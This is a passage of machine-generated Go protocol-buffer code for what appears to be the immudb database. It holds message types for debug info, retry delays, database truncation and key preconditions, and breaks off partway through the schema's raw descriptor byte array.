mi := &file_schema_proto_msgTypes[122] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DebugInfo.ProtoReflect.Descriptor instead. func (*DebugInfo) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{122} } func (x *DebugInfo) GetStack() string { if x != nil { return x.Stack } return "" } type RetryInfo struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Number of milliseconds after which the request can be retried RetryDelay int32 `protobuf:"varint,1,opt,name=retry_delay,json=retryDelay,proto3" json:"retry_delay,omitempty"` } func (x *RetryInfo) Reset() { *x = RetryInfo{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[123] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *RetryInfo) String() string { return protoimpl.X.MessageStringOf(x) } func (*RetryInfo) ProtoMessage() {} func (x *RetryInfo) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[123] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use RetryInfo.ProtoReflect.Descriptor instead. func (*RetryInfo) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{123} } func (x *RetryInfo) GetRetryDelay() int32 { if x != nil { return x.RetryDelay } return 0 } type TruncateDatabaseRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` // Retention Period of data RetentionPeriod int64 `protobuf:"varint,2,opt,name=retentionPeriod,proto3" json:"retentionPeriod,omitempty"` } func (x *TruncateDatabaseRequest) Reset() { *x = TruncateDatabaseRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[124] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *TruncateDatabaseRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*TruncateDatabaseRequest) ProtoMessage() {} func (x *TruncateDatabaseRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[124] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use TruncateDatabaseRequest.ProtoReflect.Descriptor instead. func (*TruncateDatabaseRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{124} } func (x *TruncateDatabaseRequest) GetDatabase() string { if x != nil { return x.Database } return "" } func (x *TruncateDatabaseRequest) GetRetentionPeriod() int64 { if x != nil { return x.RetentionPeriod } return 0 } type TruncateDatabaseResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` } func (x *TruncateDatabaseResponse) Reset() { *x = TruncateDatabaseResponse{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[125] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *TruncateDatabaseResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*TruncateDatabaseResponse) ProtoMessage() {} func (x *TruncateDatabaseResponse) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[125] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use TruncateDatabaseResponse.ProtoReflect.Descriptor instead. func (*TruncateDatabaseResponse) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{125} } func (x *TruncateDatabaseResponse) GetDatabase() string { if x != nil { return x.Database } return "" } // Only succeed if given key exists type Precondition_KeyMustExistPrecondition struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // key to check Key []byte `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` } func (x *Precondition_KeyMustExistPrecondition) Reset() { *x = Precondition_KeyMustExistPrecondition{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[126] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Precondition_KeyMustExistPrecondition) String() string { return protoimpl.X.MessageStringOf(x) } func (*Precondition_KeyMustExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustExistPrecondition) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[126] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Precondition_KeyMustExistPrecondition.ProtoReflect.Descriptor instead. func (*Precondition_KeyMustExistPrecondition) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{14, 0} } func (x *Precondition_KeyMustExistPrecondition) GetKey() []byte { if x != nil { return x.Key } return nil } // Only succeed if given key does not exists type Precondition_KeyMustNotExistPrecondition struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // key to check Key []byte `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` } func (x *Precondition_KeyMustNotExistPrecondition) Reset() { *x = Precondition_KeyMustNotExistPrecondition{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[127] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Precondition_KeyMustNotExistPrecondition) String() string { return protoimpl.X.MessageStringOf(x) } func (*Precondition_KeyMustNotExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustNotExistPrecondition) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[127] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Precondition_KeyMustNotExistPrecondition.ProtoReflect.Descriptor instead. func (*Precondition_KeyMustNotExistPrecondition) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{14, 1} } func (x *Precondition_KeyMustNotExistPrecondition) GetKey() []byte { if x != nil { return x.Key } return nil } // Only succeed if given key was not modified after given transaction type Precondition_KeyNotModifiedAfterTXPrecondition struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // key to check Key []byte `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` // transaction id to check against TxID uint64 `protobuf:"varint,2,opt,name=txID,proto3" json:"txID,omitempty"` } func (x *Precondition_KeyNotModifiedAfterTXPrecondition) Reset() { *x = Precondition_KeyNotModifiedAfterTXPrecondition{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[128] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Precondition_KeyNotModifiedAfterTXPrecondition) String() string { return protoimpl.X.MessageStringOf(x) } func (*Precondition_KeyNotModifiedAfterTXPrecondition) ProtoMessage() {} func (x *Precondition_KeyNotModifiedAfterTXPrecondition) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[128] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Precondition_KeyNotModifiedAfterTXPrecondition.ProtoReflect.Descriptor instead. func (*Precondition_KeyNotModifiedAfterTXPrecondition) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{14, 2} } func (x *Precondition_KeyNotModifiedAfterTXPrecondition) GetKey() []byte { if x != nil { return x.Key } return nil } func (x *Precondition_KeyNotModifiedAfterTXPrecondition) GetTxID() uint64 { if x != nil { return x.TxID } return 0 } var File_schema_proto protoreflect.FileDescriptor var file_schema_proto_rawDesc = []byte{ 0x0a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x0d, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1b, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x65, 0x6d, 0x70, 0x74, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x17, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x22, 0x48, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xee, 0x01, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x62, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x62, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x61, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x61, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x41, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x22, 0x48, 0x0a, 0x0c, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x22, 0x35, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x75, 0x73, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x52, 0x05, 0x75, 0x73, 0x65, 0x72, 0x73, 0x22, 0x7f, 0x0a, 0x11, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x22, 0x6f, 0x0a, 0x15, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x6f, 0x6c, 0x64, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x6f, 0x6c, 0x64, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x6e, 0x65, 0x77, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x6e, 0x65, 0x77, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x22, 0x3e, 0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x22, 0x3f, 0x0a, 0x0d, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x77, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x77, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x22, 0x20, 0x0a, 0x0a, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x26, 0x0a, 0x0a, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x22, 0x70, 0x0a, 0x12, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x53, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x22, 0x80, 0x04, 0x0a, 0x0c, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x5a, 0x0a, 0x0c, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x34, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52, 0x0c, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x12, 0x63, 0x0a, 0x0f, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52, 0x0f, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x12, 0x75, 0x0a, 0x15, 0x6b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52, 0x15, 0x6b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x1a, 0x2c, 0x0a, 0x18, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x1a, 0x2f, 0x0a, 0x1b, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x1a, 0x49, 0x0a, 0x21, 0x4b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, 0x44, 0x42, 0x0e, 0x0a, 0x0c, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x69, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0xea, 0x01, 0x0a, 0x05, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3c, 0x0a, 0x0c, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x42, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 